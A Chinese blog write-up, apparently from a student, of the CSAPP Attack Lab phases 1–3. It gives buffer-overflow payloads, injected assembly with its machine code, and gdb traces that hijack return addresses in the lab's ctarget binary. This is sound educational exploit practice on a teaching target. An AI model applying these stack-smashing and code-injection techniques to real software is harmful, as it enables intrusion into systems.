CSAPP Lab 3 Attack Lab phase1~3

Lab 3 Attack lab

phase 1

第一个很简单,只需要用x命令查看栈内容,定位到ret的返回位置,再用自己输入的缓冲区溢出数据覆盖就行了。计算好需要输入的字节长度,将touch1函数的首地址恰好覆盖原先的栈顶元素,这样ret就会返回到touch1函数,而不是返回到正常的test函数。

需要注意的是,由于转移目标地址输入到栈中是ascii码形式保存的,所以如果地址是一些难以输入的ascii码怎么办?官方给了一个转换小程序hex2raw,能够将两位16进制表示的ascii码转换成字符输入,这样就能输入所有ascii码了。

phase 2

这个有点点麻烦,我没仔细看说明,第一次做时做错了。官方文档说明里有说,注入代码不能用jmp、call指令,否则在重新编码目标地址时会出错。所以需要用ret指令,首先push一个转移指令入栈,再用ret转移到这个位置。

这个题比上个题多了个要求,上个题只需要改一下栈顶元素返回就行了,这个嵌入一个汇编语句来修改rdi寄存器,让rdi中保存一个cookie值。

输入时需要准备好几个文档来转化(当然也可以只一个文档输入)。

一个文档a写需要注入的汇编。

mov $0x59b997fa,%rdi
pushq $0x4017ec
ret

一个文档b生成这段汇编用objdump反汇编后的机器指令序列。


p2.1.o:     文件格式 elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi
   7:	68 ec 17 40 00       	pushq  $0x4017ec
   c:	c3                   	retq   

一个文档c写注入栈中的所有16进制机器指令代码。

48 c7 c7 fa 97 b9 59
68 ec 17 40 00 c3 00
00 00 
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00
78 dc 61 55
00

一个文档d写从c经过hex2raw转换成字符输入的格式。最终将d文档导入,作为ctarget的输入。

注意:push在压栈一个内存地址A时,如果不加$符号,会认为是将A中的值压入栈,而不是将A本身压入栈。

(gdb) x/8i 0x5561dc78
=> 0x5561dc78:  mov    $0x59b997fa,%rdi
   0x5561dc7f:  pushq  0x4017ec
   0x5561dc86:  retq   
   0x5561dc87:  add    %al,(%rax)
   0x5561dc89:  add    %al,(%rax)
   0x5561dc8b:  add    %al,(%rax)
   0x5561dc8d:  add    %al,(%rax)
   0x5561dc8f:  add    %al,(%rax)
(gdb) si
0x000000005561dc7f in ?? ()
(gdb) x/4xw $rsp
0x5561dca8:     0x00000002      0x00000000      0x00401f24      0x00000000
(gdb) x/8xw $rsp
0x5561dca8:     0x00000002      0x00000000      0x00401f24      0x00000000
0x5561dcb8:     0x00000000      0x00000000      0xf4f4f4f4      0xf4f4f4f4
(gdb) si
0x000000005561dc86 in ?? ()
(gdb) x/8xw $rsp
0x5561dca0:     0x08ec8348      0x05c7fa89      0x00000002      0x00000000
0x5561dcb0:     0x00401f24      0x00000000      0x00000000      0x00000000

上面这段代码是在展示,如果不加$符号,栈顶会取0x4017ec处的8个字节,压入栈中。这压入了一条指令,不是地址,之后ret出栈会造成段错误。

phase 3

这一题其实和上一题很像,但是要将cookie转换成ascii码字符形式,而非数字。题目首先给出了两个函数touch3和hexmatch,要求touch3调用hexmatch,比较cookie转换成的字符串和指针sval处的字符串是否相等。

/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval)
{
    vlevel = 3; /* Part of validation protocol */
    if (hexmatch(cookie, sval))
    {
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    }
    else
    {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

cookie从数字到字符串的转换是通过sprintf实现的,关键是sval指向处的字符串是不是cookie字符串。

具体实现方法是这样的。getbuf的ret地址修改为栈顶向下的几个字节,其中储存下面这几条命令。

mov $0x5561dcac,%rdi
pushq $0x4018fa
ret

第一条命令是翻hexmatch和touch3反汇编代码找到的。单步调试hexmatch代码,发现在strncmp汇编调用的上几句,cookie字符串首地址存放在rsi;rdi存放待对比字符串的首地址。为了确定strncmp调用参数rdi的值是从哪里传过去的,从hexmatch一路溯源到touch3,确定只需要在touch3对rdi做一个赋值操作指向正确的cookie字符串,最终就能传到hexmatch。则只要输入cookie的ascii码,通过hex2raw转换为键盘输入形式,输入重定向,cookie string覆盖栈中首地址为a的一段空间,再mov $a, %rdi即可。

我尝试a为这个地址之下的一些地址,发现在后面touch3和hexmatch的一系列操作后,可能会改变a处的值。实验几次后,发现这个位置满足条件,所以就设置这里覆盖存储cookie string。

反汇编后如下。注意,从左向右的机器码,存储地址从低到高。

p3.o:     文件格式 elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 ac dc 61 55 	mov    $0x5561dcac,%rdi
   7:	68 fa 18 40 00       	pushq  $0x4018fa
   c:	c3                   	retq   

为了从输入缓冲区起始到设想的cookie string地址这段距离要保证除了注入语句外的内容不变,所以需要看一下栈内容,以确定其他内容相同。

最后输入内容的ascii码表示如下。

48 c7 c7 b4
dc 61 55 68 
fa 18 40 00
c3 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 60 58 55
00 00 00 00
78 dc 61 55
00 00 00 00
02 00 00 00
00 00 00 00
24 1f 40 00
35 39 62 39
39 37 66 61

之前观察栈可知,先输入的值在栈顶(低地址),所以机器码这个顺序进行输入。

最后,采用官方提供的hex2raw程序,将ascii码转换成键盘输入形式,运行ctarget,输入重定向到这个文档,即通过,输出结果如下。

Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:3:48 C7 C7 B4 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 58 55 00 00 00 00 78 DC 61 55 00 00 00 00 02 00 00 00 00 00 00 00 24 1F 40 00 35 39 62 39 39 37 66 61 

phase 4~5

这部分是说,不能通过缓冲区溢出来注入攻击代码了,而是要通过执行已有的看似安全的代码,来层层跳转到攻击代码。

我没做,看着需要在一大堆汇编中找固定的格式,很麻烦,而且没太多时间了。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值